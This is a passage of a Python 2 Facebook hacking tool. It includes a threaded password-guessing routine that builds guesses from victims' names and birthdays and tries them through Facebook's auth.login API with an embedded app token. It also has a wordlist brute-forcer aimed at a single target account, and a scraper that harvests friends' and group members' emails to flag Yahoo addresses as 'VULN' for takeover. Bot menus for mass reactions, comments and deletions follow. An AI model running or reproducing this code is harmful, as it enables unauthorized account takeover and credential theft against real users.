1329 | check_it = open("out/output.txt", "a") 1330 | check_it.write(user+"|"+pass1+"\n") 1331 | check_it.close() 1332 | checkpoint.append(user+pass1) 1333 | else: 1334 | #Pass2 1335 | pass2 = b['first_name']+'12345' 1336 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1337 | q = json.load(data) 1338 | if 'access_token' in q: 1339 | x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) 1340 | z = json.loads(x.text) 1341 | print("\033[1;97m[ \033[1;92m✓\033[1;97m ] "+user+"|" +pass2+" =>"+z['name']) 1342 | oks.append(user+pass2) 1343 | else: 1344 | if 'www.facebook.com' in q["error_msg"]: 1345 | check_it = open("out/output.txt", "a") 1346 | check_it.write(user+"|"+pass2+"\n") 1347 | check_it.close() 1348 | checkpoint.append(user+pass2) 1349 | else: 1350 | #Pass3 1351 | pass3 = b['last_name'] + '123' 1352 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1353 | q = json.load(data) 1354 | if 'access_token' in q: 1355 | x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) 1356 | z = json.loads(x.text) 1357 | print("\033[1;97m[ \033[1;92m✓\033[1;97m ] "+user+"|" +pass3+" =>"+z['name']) 1358 | oks.append(user+pass3) 1359 | else: 1360 | if 'www.facebook.com' in q["error_msg"]: 1361 | check_it = open("out/output.txt", "a") 1362 | check_it.write(user+"|"+pass3+"\n") 1363 | check_it.close() 1364 | checkpoint.append(user+pass3) 1365 | else: 1366 | #Pass4 1367 | mode = b['birthday'] 1368 | pass4 = mode.replace('/', '') 1369 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1370 | q = json.load(data) 1371 | if 'access_token' in q: 1372 | x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) 1373 | z = json.loads(x.text) 1374 | print("\033[1;97m[ \033[1;92m✓\033[1;97m ] "+user+"|" +pass4+" =>"+z['name']) 1375 | oks.append(user+pass4) 1376 | else: 1377 | if 'www.facebook.com' in q["error_msg"]: 1378 | check_it = open("out/output.txt", "a") 1379 | check_it.write(user+"|"+pass4+"\n") 1380 | check_it.close() 1381 | checkpoint.append(user+pass4) 1382 | else: 1383 | #Pass5 1384 | pass5 = "sayang123","sayangku123" 1385 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1386 | q = json.load(data) 1387 | if 'access_token' in q: 1388 | x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) 1389 | z = json.loads(x.text) 1390 | print("\033[1;97m[ \033[1;92m✓\033[1;97m ] "+user+"|" +pass5+" =>"+z['name']) 1391 | oks.append(user+pass5) 1392 | else: 1393 | if 'www.facebook.com' in q["error_msg"]: 1394 | check_it = open("out/output.txt", "a") 1395 | check_it.write(user+"|"+pass5+"\n") 1396 | check_it.close() 1397 | checkpoint.append(user+pass5) 1398 | else: 1399 | #Pass6 1400 | pass6 = "bintang123","bintang12345" 1401 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1402 | q = json.load(data) 1403 | if 'access_token' in q: 1404 | x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) 1405 | z = json.loads(x.text) 1406 | print("\033[1;97m[ \033[1;92m✓\033[1;97m ] "+user+"|" +pass6+" =>"+z['name']) 1407 | oks.append(user+pass6) 1408 | else: 1409 | if 'www.facebook.com' in q["error_msg"]: 1410 | check_it = open("out/output.txt", "a") 1411 | check_it.write(user+"|"+pass6+"\n") 1412 | check_it.close() 1413 | checkpoint.append(user+pass6) 1414 | else: 1415 | #Pass7 1416 | a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+fb_token) 1417 | b = json.loads(a.text) 1418 | pass7 = "1234567890","password123","michelle","someone","","iloveyou","princess","playboy" 1419 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass7)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1420 | q = json.load(data) 1421 | if 'access_token' in q: 1422 | x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) 1423 | z = json.loads(x.text) 1424 | print("\033[1;97m[ \033[1;92m✓\033[1;97m ] "+user+"|" +pass7+" =>"+z['name']) 1425 | oks.append(user+pass7) 1426 | else: 1427 | if 'www.facebook.com' in q["error_msg"]: 1428 | check_it = open("out/output.txt", "a") 1429 | check_it.write(user+"|"+pass7+"\n") 1430 | check_it.close() 1431 | checkpoint.append(user+pass7) 1432 | else: 1433 | #Pass8 1434 | a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+fb_token) 1435 | b = json.loads(a.text) 1436 | pass8 = "january","february","march","april","may","june","july","august","september","november","december" 1437 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%252525257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass8)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1438 | q = json.load(data) 1439 | if 'access_token' in q: 1440 | x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) 1441 | z = json.loads(x.text) 1442 | print("\033[1;97m[ \033[1;92m✓\033[1;97m ] "+user+"|" +pass8+" =>"+z['name']) 1443 | oks.append(user+pass8) 1444 | else: 1445 | if 'www.facebook.com' in q["error_msg"]: 1446 | check_it = open("out/output.txt", "a") 1447 | check_it.write(user+"|"+pass8+"\n") 1448 | check_it.close() 1449 | checkpoint.append(user+pass8) 1450 | 1451 | except: 1452 | pass 1453 | 1454 | p = ThreadPool(30) 1455 | p.map(main, id) 1456 | print 42*"\033[1;97m═" 1457 | print '\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mDone \033[1;97m....' 1458 | print"\033[1;91m[+] \033[1;92mTotal OK/CP \033[1;91m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(checkpoint)) 1459 | print("\033[1;91m[+] \033[1;92mCP File saved \033[1;91m: \033[1;97mout/output.txt") 1460 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1461 | super() 1462 | ###################################################### 1463 | 1464 | ##### BRUTE FORCE ##### 1465 | def brute(): 1466 | global fb_token 1467 | os.system('clear') 1468 | try: 1469 | fb_token=open('login.txt','r').read() 1470 | except IOError: 1471 | print"\033[1;91m[!] Token not found" 1472 | os.system('rm -rf login.txt') 1473 | time.sleep(0.01) 1474 | login() 1475 | os.system('clear') 1476 | logo() 1477 | try: 1478 | email = raw_input("\033[1;91m[+] \033[1;92mID\033[1;97m/\033[1;92mEmail\033[1;97m/\033[1;92mHp \033[1;97mTarget \033[1;91m:\033[1;97m ") 1479 | passw = raw_input("\033[1;91m[+] \033[1;92mWordlist \033[1;97mext(list.txt) \033[1;91m: \033[1;97m") 1480 | total = open(passw,"r") 1481 | total = total.readlines() 1482 | print 42*"\033[1;97m═" 1483 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mTarget \033[1;91m:\033[1;97m "+email 1484 | print "\033[1;91m[+] \033[1;92mTotal\033[1;96m "+str(len(total))+" \033[1;92mPassword" 1485 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 1486 | sandi = open(passw,"r") 1487 | for pw in sandi: 1488 | try: 1489 | pw = pw.replace("\n","") 1490 | sys.stdout.write("\r\033[1;91m[\033[1;96m✸\033[1;91m] \033[1;92mCrack \033[1;91m: \033[1;97m"+pw) 1491 | sys.stdout.flush() 1492 | data = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(email)+"&locale=en_US&password="+(pw)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 1493 | mpsh = json.loads(data.text) 1494 | if 'access_token' in mpsh: 1495 | dapat = open("Brute.txt", "w") 1496 | dapat.write(email+" | "+pw+"\n") 1497 | dapat.close() 1498 | print "\n\033[1;91m[+] \033[1;92mFound" 1499 | print 42*"\033[1;97m═" 1500 | print("\033[1;91m[➹] \033[1;92mUsername \033[1;91m:\033[1;97m "+email) 1501 | print("\033[1;91m[➹] \033[1;92mPassword \033[1;91m:\033[1;97m "+pw) 1502 | exit() 1503 | elif 'www.facebook.com' in mpsh["error_msg"]: 1504 | ceks = open("Brutecheckpoint.txt", "w") 1505 | ceks.write(email+" | "+pw+"\n") 1506 | ceks.close() 1507 | print "\n\033[1;91m[+] \033[1;92mFound" 1508 | print 42*"\033[1;97m═" 1509 | print "\033[1;91m[!] \033[1;93mAccount Checkpoint" 1510 | print("\033[1;91m[➹] \033[1;92mUsername \033[1;91m:\033[1;97m "+email) 1511 | print("\033[1;91m[➹] \033[1;92mPassword \033[1;91m:\033[1;97m "+pw) 1512 | exit() 1513 | except requests.exceptions.ConnectionError: 1514 | print"\033[1;91m[!] Connection Error" 1515 | time.sleep(0.01) 1516 | except IOError: 1517 | print ("\033[1;91m[!] File not found") 1518 | wordlst() 1519 | def wordlst(): 1520 | why = raw_input("\033[1;91m[?] \033[1;92mCreate wordlist ? \033[1;92m[y/n]\033[1;91m:\033[1;97m ") 1521 | if why =="": 1522 | print "\033[1;91m[!] Wrong" 1523 | wordlst() 1524 | elif why =="y": 1525 | wordlist() 1526 | elif why =="Y": 1527 | wordlist() 1528 | elif why =="n": 1529 | menu_hack() 1530 | elif why =="N": 1531 | menu_hack() 1532 | else: 1533 | print "\033[1;91m[!] Wrong" 1534 | wordlst() 1535 | 1536 | ##### YAHOO CHECKER ##### 1537 | #---------------------------------------------------# 1538 | def menu_yahoo(): 1539 | global fb_token 1540 | os.system('clear') 1541 | try: 1542 | fb_token=open('login.txt','r').read() 1543 | except IOError: 1544 | print"\033[1;91m[!] Token not found" 1545 | os.system('rm -rf login.txt') 1546 | time.sleep(0.01) 1547 | login() 1548 | os.system('clear') 1549 | logo() 1550 | print "\033[1;97m║--\033[1;91m> \033[1;92m1.\033[1;97m With list friend" 1551 | print "\033[1;97m║--\033[1;91m> \033[1;92m2.\033[1;97m Clone from friend" 1552 | print "\033[1;97m║--\033[1;91m> \033[1;92m3.\033[1;97m Clone from member group" 1553 | print "\033[1;97m║--\033[1;91m> \033[1;92m4.\033[1;97m Using file" 1554 | print "\033[1;97m║--\033[1;91m> \033[1;91m0.\033[1;97m Back" 1555 | print "║" 1556 | choose_yahoo() 1557 | #----choices 1558 | def choose_yahoo(): 1559 | go = raw_input("\033[1;97m╚═\033[1;91mD \033[1;97m") 1560 | if go =="": 1561 | print "\033[1;91m[!] Wrong" 1562 | choose_yahoo() 1563 | elif go =="1": 1564 | yahoofriends() 1565 | elif go =="2": 1566 | yahoofromfriends() 1567 | elif go =="3": 1568 | yahoomember() 1569 | elif go =="4": 1570 | yahoolist() 1571 | elif go =="0": 1572 | menu_hack() 1573 | else: 1574 | print "\033[1;91m[!] Wrong" 1575 | choose_yahoo() 1576 | 1577 | ##### LIST FRIEND ##### 1578 | def yahoofriends(): 1579 | global fb_token 1580 | os.system('clear') 1581 | try: 1582 | fb_token=open('login.txt','r').read() 1583 | except IOError: 1584 | print"\033[1;91m[!] Token not found" 1585 | os.system('rm -rf login.txt') 1586 | time.sleep(0.01) 1587 | login() 1588 | try: 1589 | os.mkdir('out') 1590 | except OSError: 1591 | pass 1592 | os.system('clear') 1593 | logo() 1594 | mpsh = [] 1595 | jcsb = 0 1596 | mkdir('\033[1;91m[✺] \033[1;92mGetting email friend \033[1;97m...') 1597 | friends = requests.get('https://graph.facebook.com/me/friends?access_token='+fb_token) 1598 | mitchy = json.loads(friends.text) 1599 | save = open('out/MailVuln.txt','w') 1600 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 1601 | print 42*"\033[1;97m═" 1602 | for w in mitchy['data']: 1603 | jcsb +=1 1604 | mpsh.append(jcsb) 1605 | id = w['id'] 1606 | fb_name = w['name'] 1607 | links = requests.get("https://graph.facebook.com/"+id+"?access_token="+fb_token) 1608 | z = json.loads(links.text) 1609 | try: 1610 | mail = z['email'] 1611 | yahoo = re.compile(r'@.*') 1612 | otw = yahoo.search(mail).group() 1613 | if 'yahoo.com' in otw: 1614 | br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com") 1615 | br._factory.is_html = True 1616 | br.select_form(nr=0) 1617 | br["username"] = mail 1618 | click = br.submit().read() 1619 | seat = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*') 1620 | try: 1621 | picks = seat.search(click).group() 1622 | except: 1623 | continue 1624 | if '"messages.ERROR_INVALID_USERNAME">' in picks: 1625 | save.write(mail + '\n') 1626 | print("\033[1;97m[ \033[1;92mVULN✓\033[1;97m ] \033[1;92m" +mail+" \033[1;97m=>"+fb_name) 1627 | sucessful.append(mail) 1628 | except KeyError: 1629 | pass 1630 | print 42*"\033[1;97m═" 1631 | print '\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mDone \033[1;97m....' 1632 | print"\033[1;91m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(sucessful)) 1633 | print"\033[1;91m[+] \033[1;92mFile saved \033[1;91m:\033[1;97m out/MailVuln.txt" 1634 | save.close() 1635 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1636 | menu_yahoo() 1637 | 1638 | ##### CLONE FROM FRIEND ##### 1639 | def yahoofromfriends(): 1640 | global fb_token 1641 | os.system('clear') 1642 | try: 1643 | fb_token=open('login.txt','r').read() 1644 | except IOError: 1645 | print"\033[1;91m[!] Token not found" 1646 | os.system('rm -rf login.txt') 1647 | time.sleep(0.01) 1648 | login() 1649 | try: 1650 | os.mkdir('out') 1651 | except OSError: 1652 | pass 1653 | os.system('clear') 1654 | logo() 1655 | mpsh = [] 1656 | jcsb = 0 1657 | idt = raw_input("\033[1;91m[+] \033[1;92mInput ID friend \033[1;91m: \033[1;97m") 1658 | try: 1659 | seat = requests.get("https://graph.facebook.com/"+idt+"?access_token="+fb_token) 1660 | op = json.loads(seat.text) 1661 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom\033[1;91m :\033[1;97m "+op["name"] 1662 | except KeyError: 1663 | print"\033[1;91m[!] Friend not found" 1664 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1665 | menu_yahoo() 1666 | mkdir('\033[1;91m[✺] \033[1;92mGetting email from friend \033[1;97m...') 1667 | friends = requests.get('https://graph.facebook.com/'+idt+'/friends?access_token='+fb_token) 1668 | mitchy = json.loads(friends.text) 1669 | save = open('out/FriendMailVuln.txt','w') 1670 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 1671 | print 42*"\033[1;97m═" 1672 | for w in mitchy['data']: 1673 | jcsb +=1 1674 | mpsh.append(jcsb) 1675 | id = w['id'] 1676 | fb_name = w['name'] 1677 | links = requests.get("https://graph.facebook.com/"+id+"?access_token="+fb_token) 1678 | z = json.loads(links.text) 1679 | try: 1680 | mail = z['email'] 1681 | yahoo = re.compile(r'@.*') 1682 | otw = yahoo.search(mail).group() 1683 | if 'yahoo.com' in otw: 1684 | br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com") 1685 | br._factory.is_html = True 1686 | br.select_form(nr=0) 1687 | br["username"] = mail 1688 | click = br.submit().read() 1689 | seat = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*') 1690 | try: 1691 | picks = seat.search(click).group() 1692 | except: 1693 | continue 1694 | if '"messages.ERROR_INVALID_USERNAME">' in picks: 1695 | save.write(mail + '\n') 1696 | print("\033[1;97m[ \033[1;92mVULN✓\033[1;97m ] \033[1;92m" +mail+" \033[1;97m=>"+fb_name) 1697 | sucessful.append(mail) 1698 | except KeyError: 1699 | pass 1700 | print 42*"\033[1;97m═" 1701 | print '\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mDone \033[1;97m....' 1702 | print"\033[1;91m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(sucessful)) 1703 | print"\033[1;91m[+] \033[1;92mFile saved \033[1;91m:\033[1;97m out/FriendMailVuln.txt" 1704 | save.close() 1705 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1706 | menu_yahoo() 1707 | 1708 | ##### YAHOO MEMBER ##### 1709 | def yahoomember(): 1710 | global fb_token 1711 | os.system('clear') 1712 | try: 1713 | fb_token=open('login.txt','r').read() 1714 | except IOError: 1715 | print"\033[1;91m[!] Token not found" 1716 | os.system('rm -rf login.txt') 1717 | time.sleep(0.01) 1718 | login() 1719 | try: 1720 | os.mkdir('out') 1721 | except OSError: 1722 | pass 1723 | os.system('clear') 1724 | logo() 1725 | mpsh = [] 1726 | jcsb = 0 1727 | id=raw_input('\033[1;91m[+] \033[1;92mInput ID group \033[1;91m:\033[1;97m ') 1728 | try: 1729 | r=requests.get('https://graph.facebook.com/group/?id='+id+'&access_token='+fb_token) 1730 | asw=json.loads(r.text) 1731 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] 1732 | except KeyError: 1733 | print"\033[1;91m[!] Group not found" 1734 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1735 | menu_yahoo() 1736 | mkdir('\033[1;91m[✺] \033[1;92mGetting email from group \033[1;97m...') 1737 | friends = requests.get('https://graph.facebook.com/'+id+'/members?fields=name,id&limit=999999999&access_token='+fb_token) 1738 | mitchy = json.loads(friends.text) 1739 | save = open('out/groupMailVuln.txt','w') 1740 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 1741 | print 42*"\033[1;97m═" 1742 | for w in mitchy['data']: 1743 | jcsb +=1 1744 | mpsh.append(jcsb) 1745 | id = w['id'] 1746 | fb_name = w['name'] 1747 | links = requests.get("https://graph.facebook.com/"+id+"?access_token="+fb_token) 1748 | z = json.loads(links.text) 1749 | try: 1750 | mail = z['email'] 1751 | yahoo = re.compile(r'@.*') 1752 | otw = yahoo.search(mail).group() 1753 | if 'yahoo.com' in otw: 1754 | br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com") 1755 | br._factory.is_html = True 1756 | br.select_form(nr=0) 1757 | br["username"] = mail 1758 | click = br.submit().read() 1759 | seat = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*') 1760 | try: 1761 | picks = seat.search(click).group() 1762 | except: 1763 | continue 1764 | if '"messages.ERROR_INVALID_USERNAME">' in picks: 1765 | save.write(mail + '\n') 1766 | print("\033[1;97m[ \033[1;92mVULN✓\033[1;97m ] \033[1;92m" +mail+" \033[1;97m=>"+fb_name) 1767 | sucessful.append(mail) 1768 | except KeyError: 1769 | pass 1770 | print 42*"\033[1;97m═" 1771 | print '\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mDone \033[1;97m....' 1772 | print"\033[1;91m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(sucessful)) 1773 | print"\033[1;91m[+] \033[1;92mFile saved \033[1;91m:\033[1;97m out/groupMailVuln.txt" 1774 | save.close() 1775 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1776 | menu_yahoo() 1777 | 1778 | ##### YAHOO FILE ##### 1779 | def yahoolist(): 1780 | global fb_token 1781 | os.system('clear') 1782 | try: 1783 | fb_token=open('login.txt','r').read() 1784 | except IOError: 1785 | print"\033[1;91m[!] Token not found" 1786 | os.system('rm -rf login.txt') 1787 | time.sleep(0.01) 1788 | login() 1789 | try: 1790 | os.mkdir('out') 1791 | except OSError: 1792 | pass 1793 | os.system('clear') 1794 | logo() 1795 | files = raw_input("\033[1;91m[+] \033[1;92mFile path \033[1;91m: \033[1;97m") 1796 | try: 1797 | total = open(files,"r") 1798 | mail = total.readlines() 1799 | except IOError: 1800 | print"\033[1;91m[!] File not found" 1801 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1802 | menu_yahoo() 1803 | mpsh = [] 1804 | jcsb = 0 1805 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 1806 | save = open('out/FileMailVuln.txt','w') 1807 | print 42*"\033[1;97m═" 1808 | mail = open(files,"r").readlines() 1809 | for pw in mail: 1810 | mail = pw.replace("\n","") 1811 | jcsb +=1 1812 | mpsh.append(jcsb) 1813 | yahoo = re.compile(r'@.*') 1814 | otw = yahoo.search(mail).group() 1815 | if 'yahoo.com' in otw: 1816 | br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com") 1817 | br._factory.is_html = True 1818 | br.select_form(nr=0) 1819 | br["username"] = mail 1820 | click = br.submit().read() 1821 | seat = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*') 1822 | try: 1823 | picks = seat.search(click).group() 1824 | except: 1825 | continue 1826 | if '"messages.ERROR_INVALID_USERNAME">' in picks: 1827 | save.write(mail + '\n') 1828 | print("\033[1;97m[ \033[1;92mVULN✓\033[1;97m ] \033[1;92m" +mail) 1829 | sucessful.append(mail) 1830 | print 42*"\033[1;97m═" 1831 | print '\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mDone \033[1;97m....' 1832 | print"\033[1;91m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(sucessful)) 1833 | print"\033[1;91m[+] \033[1;92mFile saved \033[1;91m:\033[1;97m out/FileMailVuln.txt" 1834 | save.close() 1835 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1836 | menu_yahoo() 1837 | 1838 | 1839 | 1840 | ##### MENU BOT ##### 1841 | #----------------------------------------# 1842 | def menu_bot(): 1843 | os.system('clear') 1844 | try: 1845 | fb_token=open('login.txt','r').read() 1846 | except IOError: 1847 | print"\033[1;91m[!] Token not found" 1848 | os.system('rm -rf login.txt') 1849 | time.sleep(1) 1850 | login() 1851 | os.system('clear') 1852 | logo() 1853 | print "\033[1;97m║--\033[1;91m> \033[1;92m1.\033[1;97m Bot Reactions Target Post" 1854 | print "\033[1;97m║--\033[1;91m> \033[1;92m2.\033[1;97m Bot Reactions group Post" 1855 | print "\033[1;97m║--\033[1;91m> \033[1;92m3.\033[1;97m BOT COMMENT Target Post" 1856 | print "\033[1;97m║--\033[1;91m> \033[1;92m4.\033[1;97m BOT COMMENT group Post" 1857 | print "\033[1;97m║--\033[1;91m> \033[1;92m5.\033[1;97m Mass delete Post" 1858 | print "\033[1;97m║--\033[1;91m> \033[1;92m6.\033[1;97m Mass accept friend" 1859 | print "\033[1;97m║--\033[1;91m> \033[1;92m7.\033[1;97m Mass delete friend" 1860 | print "\033[1;97m║--\033[1;91m> \033[1;91m0.\033[1;97m Back" 1861 | print "║" 1862 | choose_bot() 1863 | #//////////// 1864 | def choose_bot(): 1865 | bots = raw_input("\033[1;97m╚═\033[1;91mD \033[1;97m") 1866 | if bots =="": 1867 | print "\033[1;91m[!] Wrong input" 1868 | choose_bot() 1869 | elif bots =="1": 1870 | menu_react() 1871 | elif bots =="2": 1872 | group_react() 1873 | elif bots =="3": 1874 | bot_comment() 1875 | elif bots =="4": 1876 | group_comment() 1877 | elif bots =="5": 1878 | deletepost() 1879 | elif bots =="6": 1880 | accept() 1881 | elif bots =="7": 1882 | unfriend() 1883 | elif bots =="0": 1884 | menu() 1885 | else: 1886 | print "\033[1;91m[!] Wrong input" 1887 | choose_bot() 1888 | 1889 | ##### MENU REACT ##### 1890 | def menu_react(): 1891 | os.system('clear') 1892 | try: 1893 | fb_token=open('login.txt','r').read() 1894 | except IOError: 1895 | print"\033[1;91m[!] Token not found" 1896 | os.system('rm -rf login.txt') 1897 | time.sleep(1) 1898 | login() 1899 | os.system('clear') 1900 | logo() 1901 | print ("\033[1;97m║--\033[1;91m> \033[1;92m1. \033[1;97mLike") 1902 | print ("\033[1;97m║--\033[1;91m> \033[1;92m2. \033[1;97mLove") 1903 | print ("\033[1;97m║--\033[1;91m> \033[1;92m3. \033[1;97mWow") 1904 | print ("\033[1;97m║--\033[1;91m> \033[1;92m4. \033[1;97mHaha") 1905 | print ("\033[1;97m║--\033[1;91m> \033[1;92m5. \033[1;97mSadBoy") 1906 | print ("\033[1;97m║--\033[1;91m> \033[1;92m6. \033[1;97mAngry") 1907 | print "\033[1;97m║--\033[1;91m> \033[1;91m0.\033[1;97m Back" 1908 | print "║" 1909 | choose_reaction() 1910 | #////////////// 1911 | def choose_reaction(): 1912 | global tipe 1913 | action = raw_input("\033[1;97m╚═\033[1;91mD \033[1;97m") 1914 | if action =="": 1915 | print "\033[1;91m[!] Wrong input" 1916 | choose_reaction() 1917 | elif action =="1": 1918 | tipe = "LIKE" 1919 | react() 1920 | elif action =="2": 1921 | tipe = "LOVE" 1922 | react() 1923 | elif action =="3": 1924 | tipe = "WOW" 1925 | react() 1926 | elif action =="4": 1927 | tipe = "HAHA" 1928 | react() 1929 | elif action =="5": 1930 | tipe = "SAD" 1931 | react() 1932 | elif action =="6": 1933 | tipe = "ANGRY" 1934 | react() 1935 | elif action =="0": 1936 | menu_bot() 1937 | else: 1938 | print "\033[1;91m[!] Wrong input" 1939 | choose_reaction() 1940 | #####NEXT 1941 | def react(): 1942 | os.system('clear') 1943 | try: 1944 | fb_token=open('login.txt','r').read() 1945 | except IOError: 1946 | print"\033[1;91m[!] Token not found" 1947 | os.system('rm -rf login.txt') 1948 | time.sleep(0.01) 1949 | login() 1950 | os.system('clear') 1951 | logo() 1952 | ide = raw_input('\033[1;91m[+] \033[1;92mInput ID Target \033[1;91m:\033[1;97m ') 1953 | limit = raw_input("\033[1;91m[!] \033[1;92mLimit \033[1;91m:\033[1;97m ") 1954 | try: 1955 | oh = requests.get("https://graph.facebook.com/"+ide+"?fields=feed.limit("+limit+")&access_token="+fb_token) 1956 | ah = json.loads(oh.text) 1957 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 1958 | print 42*"\033[1;97m═" 1959 | for a in ah['feed']['data']: 1960 | y = a['id'] 1961 | reaction.append(y) 1962 | requests.post("https://graph.facebook.com/"+y+"/reactions?type="+tipe+"&access_token="+fb_token) 1963 | print '\033[1;92m[\033[1;97m'+y[:10].replace('\n',' ')+'... \033[1;92m] \033[1;97m'+tipe 1964 | print 42*"\033[1;97m═" 1965 | print "\r\033[1;91m[+]\033[1;92m Done \033[1;97m"+str(len(reaction)) 1966 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1967 | menu_bot() 1968 | except KeyError: 1969 | print"\033[1;91m[!] ID not found" 1970 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 1971 | menu_bot() 1972 | 1973 | ##### BOT REACT group ##### 1974 | def group_react(): 1975 | os.system('clear') 1976 | try: 1977 | fb_token=open('login.txt','r').read() 1978 | except IOError: 1979 | print"\033[1;91m[!] Token not found" 1980 | os.system('rm -rf login.txt') 1981 | time.sleep(0.01) 1982 | login() 1983 | os.system('clear') 1984 | logo() 1985 | print ("\033[1;97m║--\033[1;91m> \033[1;92m1. \033[1;97mLike") 1986 | print ("\033[1;97m║--\033[1;91m> \033[1;92m2. \033[1;97mLove") 1987 | print ("\033[1;97m║--\033[1;91m> \033[1;92m3. \033[1;97mWow") 1988 | print ("\033[1;97m║--\033[1;91m> \033[1;92m4. \033[1;97mHaha") 1989 | print ("\033[1;97m║--\033[1;91m> \033[1;92m5. \033[1;97mSadBoy") 1990 | print ("\033[1;97m║--\033[1;91m> \033[1;92m6. \033[1;97mAngry") 1991 | print "\033[1;97m║--\033[1;91m> \033[1;91m0.\033[1;97m Back" 1992 | print "║" 1993 | choosing_reaction() 1994 | #////////////// 1995 | def choosing_reaction(): 1996 | global tipe 1997 | action = raw_input("\033[1;97m╚═\033[1;91mD \033[1;97m") 1998 | if action =="": 1999 | print "\033[1;91m[!] Wrong input" 2000 | choosing_reaction() 2001 | elif action =="1": 2002 | tipe = "LIKE" 2003 | reactg() 2004 | elif action =="2": 2005 | tipe = "LOVE" 2006 | reactg() 2007 | elif action =="3": 2008 | tipe = "WOW" 2009 | reactg() 2010 | elif action =="4": 2011 | tipe = "HAHA" 2012 | reactg() 2013 | elif action =="5": 2014 | tipe = "SAD" 2015 | reactg() 2016 | elif action =="6": 2017 | tipe = "ANGRY" 2018 | reactg() 2019 | elif action =="0": 2020 | 